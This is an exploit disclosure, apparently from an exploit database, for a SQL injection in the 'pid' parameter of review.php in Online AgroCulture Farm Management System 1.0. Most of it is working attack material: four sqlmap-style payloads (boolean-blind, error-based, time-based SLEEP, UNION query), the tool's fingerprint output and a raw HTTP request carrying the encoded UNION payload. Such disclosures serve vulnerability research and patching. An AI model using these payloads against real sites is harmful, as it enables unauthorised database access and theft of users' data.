# Exploit Title: Online AgroCulture Farm Management System 1.0 - 'pid' SQL Injection
# Google Dork: N/A
# Date: 2020-05-07
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14198/online-agroculture-farm-management-system-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14198&title=Online+AgroCulture+Farm+Management+System+in+PHP%2FMySQL
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Discription:
The Online AgroCulture Farm Management System v1.0 application is vulnerable to
SQL injection via the 'pid' parameter on the review.php page.
# vulnerable file : review.php
http://localhost/AgroCulture/review.php?pid=27

Parameter: pid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pid=27' AND 5853=5853 AND 'EmvW'='EmvW

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: pid=27' AND (SELECT 9739 FROM(SELECT COUNT(*),CONCAT(0x7170627071,(SELECT (ELT(9739=9739,1))),0x7176626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'tpnl'='tpnl

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: pid=27' AND (SELECT 7650 FROM (SELECT(SLEEP(5)))bwDl) AND 'IWff'='IWff

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: pid=-6157' UNION ALL SELECT NULL,NULL,CONCAT(0x7170627071,0x6d7a6346644349635a495a424c56644c51666866664553794e674764546a6c67747a69634749516a,0x7176626a71),NULL,NULL,NULL,NULL,NULL-- RXWN
[INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0


# Proof of Concept:
http://localhost/vulnerability/ncn/AgroCulture/review.php?pid=sqli

GET AgroCulture/review.php?pid=27 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:PHPSESSID=gd27cb23t7m8o57giuvh0f8e7m
Connection: keep-alive
Upgrade-Insecure-Requests: 1
pid=-6157%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x7170627071,0x6d7a6346644349635a495a424c56644c51666866664553794e674764546a6c67747a69634749516a,0x7176626a71),NULL,NULL,NULL,NULL,NULL--%20RXWN